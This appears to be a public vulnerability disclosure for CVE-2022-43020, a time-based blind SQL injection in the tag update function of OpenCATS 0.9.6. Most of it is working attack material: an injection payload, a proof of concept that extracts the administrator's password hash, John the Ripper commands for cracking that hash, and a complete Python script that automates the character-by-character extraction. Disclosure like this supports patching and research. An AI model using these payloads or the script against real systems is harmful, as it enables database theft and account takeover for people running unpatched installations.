Headline
CVE-2022-43020: opencats_zero-days/SQLI_in_Tag_Updates.md at main · hansmach1ne/opencats_zero-days
OpenCATS v0.9.6 was discovered to contain a SQL injection vulnerability via the tag_id variable in the Tag update function.
SQL injection vulnerability in OpenCats ‘Tag’ update functionality.
OpenCats version 0.9.6 PHP7.2 suffers from SQL injection vulnerability. This allows attackers control over the application’s database.
User has control over tag_id variable, which allows SQL injection in UPDATE statement via time-based/blind techniques.
Application builds the following query:
UPDATE tag SET title = 'Title’, description = ‘Description’ WHERE tag_id = XXX AND site_id = 1;
User has control over XXX part.
1337 OR 1337=(select IF(substr(database(),1,1)=’a’,(select sleep(3)), (select sleep(1)))))
With this payload, application will sleep for 3 seconds for every entry inside original table if the database() query result starts with 'a’, otherwise it will sleep for one second.
With this time-based blind technique, attacker is able to exfiltrate any information from the database by querying many YES/NO questions to the database and intelligently measuring response times.
POC
This proof of concept exfiltrates administrator user’s password hash:
(select password from user where user_id=1)
Bonus, let’s crack the hash
echo “password:21232f297a57a5a743894a0e4a801fc3” > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash.txt
xploit.py!
import requests import string import sys
def inRange(rTime, averageTime, sleepAmount): if(rTime > sleepAmount and rTime < rTime + (averageTime*20/100) and rTime > rTime - (averageTime*20/100)): return True else: return False
headers = {} proxies = {} #proxies[“http”] = “http://127.0.0.1:8080”
#Login and get session cookie… #Change this headers[“Cookie”] = “CATS=cl2201l24aihqlnch0jgnr4pd2” url = “http://192.168.203.135/opencats/index.php?m=settings&a=ajax_tags_upd”
#Prepare Content-Type for POST request compability headers[“Content-Type”] = “application/x-www-form-urlencoded” #Prepare POST parameter ‘tag_id’ postdata = “tag_id=PWN&tag_title=test”
#Change this depending on the endpoint tempPayload = "1 OR 1=(sleep(3))"
print(“Sending few request to determine average response time…”)
timeSum = 0 numberOfBaselineRequests = 5 for i in range(numberOfBaselineRequests): try: rTest = requests.post(url, headers = headers, data=postdata.replace(‘PWN’,’1337’), proxies = proxies) timeSum += rTest.elapsed.total_seconds() if(‘<form name="loginForm"’ in rTest.text): print(“Session cookie not valid, change it inside .py”) sys.exit(-1) except: print(“Some exception ocurred while sending or receiving data from the application. Make sure IP is good. Exiting…”) sys.exit(-1)
averageTime = timeSum/numberOfBaselineRequests print("Average response time for " + str(numberOfBaselineRequests) + " requests is : " + str(averageTime))
print("\nTrying to inject sleep(3)") r = requests.post(url, headers = headers, data = postdata.replace('PWN’,tempPayload), proxies = proxies) rTime = r.elapsed.total_seconds() print("Response time: " + str(rTime))
if(inRange(rTime, averageTime, 3)): print(“\n[+] Application is vulnerable to SQL injection…”)
#Getting value for false statement -> sleep(1) tempPayload2 = "1 or 1=(sleep(0.1))" r2 = requests.post(url, headers = headers, data = postdata.replace('PWN’,tempPayload2), proxies = proxies) t_sleep_one = r2.elapsed.total_seconds()
tempPayload3 = "1 or 1=(sleep(0.3))" r3 = requests.post(url, headers = headers, data=postdata.replace('PWN’, tempPayload3), proxies = proxies) t_sleep_three = r3.elapsed.total_seconds()
print("False statement time: " + str(t_sleep_one)) print("True statement time: " + str(t_sleep_three) + “\n”)
length = 0 exfilQuery = "1 OR 1=(IF(length((select password from user where user_id=1))=’XXX’,sleep(0.3),sleep(0.1)))" #Determine length of the result that we want. i.e select passwrod from user query… print(“Determining the result length of our query…”)
while(True): q = exfilQuery.replace('XXX’, str(length)) r = requests.post(url, headers = headers, data = postdata.replace('PWN’, q)) time = r.elapsed.total_seconds()
#If sleep(3) gets executed, we have correct length
if(time \> (t\_sleep\_one+(t\_sleep\_one\*20/100))):
print("Got length " + str(length))
break
length += 1
if(length \== 1000):
break
if(length == 0 or length == 1000): print(“Something is wrong. Exiting…”) sys.exit(-1) else: print("Length of '(select password from user where user_id=1)' query: " + str(length))
#OK----| alphanumerics = list(string.ascii_lowercase + string.digits) exfilQuery = "1 OR 1=(IF(substr((select password from user where user_id=1),YYY,1) = 'XXX’,sleep(0.3), sleep(0.1)))"
data = [] print(“Exfiltrating data. Query: (select password from user where user_id=1). Patience…”)
for i in range(length): for item in alphanumerics: q = exfilQuery.replace('XXX’,str(item)) q = q.replace('YYY’,str(i+1)) r = requests.post(url, headers = headers, data = postdata.replace('PWN’,q), proxies = proxies) time = r.elapsed.total_seconds() #print(str(time) + “\n”) if(time > (t_sleep_one+(t_sleep_one*20/100))): print(str(i+1) + ". Letter = " + item) data.append(item) break
print("(select password from user where user_id=1) -> " + "".join(data))